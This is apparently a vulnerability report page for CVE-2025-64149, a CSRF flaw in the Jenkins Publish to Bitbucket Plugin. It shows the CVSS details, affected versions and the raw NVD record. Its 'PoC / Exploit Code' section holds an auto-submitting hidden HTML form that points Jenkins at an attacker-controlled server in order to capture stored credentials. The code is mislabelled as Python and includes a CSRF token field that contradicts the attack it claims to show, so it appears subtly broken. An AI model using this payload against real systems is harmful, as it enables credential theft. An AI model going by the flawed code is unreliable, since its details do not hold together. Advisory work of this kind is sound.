Security Vulnerability Report
中文
CVE-2025-64149 CVSS 5.4 MEDIUM

CVE-2025-64149

Published: 2025-10-29 14:16:00
Last Modified: 2025-11-04 22:16:42

Description

A cross-site request forgery (CSRF) vulnerability in Jenkins Publish to Bitbucket Plugin 0.4 and earlier allows attackers to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:jenkins:publish_to_bitbucket:*:*:*:*:*:jenkins:*:* - VULNERABLE
Jenkins Publish to Bitbucket Plugin <= 0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-64149 --> <!-- This PoC demonstrates the CSRF attack to steal Jenkins credentials --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC - CVE-2025-64149</title> </head> <body> <h1>CSRF Attack PoC for Jenkins Publish to Bitbucket Plugin</h1> <p>This is a demonstration of the CSRF vulnerability.</p> <!-- Auto-submit form that exploits the CSRF vulnerability --> <form id="csrfForm" action="http://target-jenkins:8080/plugin/publish-over-bitbucket/connect" method="POST" style="display:none;"> <input type="hidden" name="url" value="http://attacker-controlled-server.com/fake-bitbucket"> <input type="hidden" name="credentialsId" value="attacker-obtained-credential-id"> <input type="hidden" name="Jenkins-CSRF-Protection" value="valid-csrf-token-from-session"> </form> <script> // Auto-submit the form document.getElementById('csrfForm').submit(); // Log when attack is executed console.log('CSRF attack executed for CVE-2025-64149'); </script> <p><strong>Note:</strong> This PoC is for educational and security testing purposes only.</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64149", "sourceIdentifier": "[email protected]", "published": "2025-10-29T14:15:59.743", "lastModified": "2025-11-04T22:16:41.890", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site request forgery (CSRF) vulnerability in Jenkins Publish to Bitbucket Plugin 0.4 and earlier allows attackers to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:publish_to_bitbucket:*:*:*:*:*:jenkins:*:*", "versionEndIncluding": "0.4", "matchCriteriaId": "AFB047CD-0168-404D-9C45-E750E3F85763"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3576", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/29/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}